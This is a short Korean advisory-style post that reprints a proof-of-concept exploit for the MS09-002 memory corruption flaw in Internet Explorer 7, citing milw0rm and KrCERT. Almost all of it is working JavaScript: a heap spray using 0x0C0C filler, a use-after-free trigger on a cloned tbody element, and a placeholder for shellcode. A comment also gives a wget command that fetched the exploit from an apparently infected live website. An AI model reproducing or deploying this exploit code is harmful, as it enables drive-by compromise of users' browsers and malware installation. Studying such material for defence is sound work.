MS Internet Explorer 7 Memory Corruption PoC (MS09-002)

※ 참조 SITE : http://www.milw0rm.com/exploits/8077
                    KrCERT 보안공지

MS IE7에서 Memory Corruption 취약점이 발생하여 명랭 실행 또는 악성코드 감염이 가능한 취약점의 공격코드가 발표되었다.

○ PoC

<!--
MS09-002
===============================
grabbed from:
wget http://www.chengjitj.com/bbs/images/alipay/mm/jc/jc.html --user-agent="MSIE 7.0; Windows NT 5.1"

took a little but found it. /str0ke
-->

<script language="JavaScript">
var c="putyourshizhere-unescaped";
var array = new Array();
var ls = 0x100000-(c.length*2+0x01020);

var b = unescape("%u0C0C%u0C0C");
while(b.length<ls/2) { b+=b;}
var lh = b.substring(0,ls/2);
delete b;

for(i=0; i<0xC0; i++) {
    array[i] = lh + c;
}

CollectGarbage();

var s1=unescape("%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA");
var a1 = new Array();
for(var x=0;x<1000;x++) a1.push(document.createElement("img"));

function ok() {
    o1=document.createElement("tbody");
    o1.click;
    var o2 = o1.cloneNode();
    o1.clearAttributes();
    o1=null; CollectGarbage();
    for(var x=0;x<a1.length;x++) a1[x].src=s1;
    o2.click;
}

</script><script>window.setTimeout("ok();",800);</script>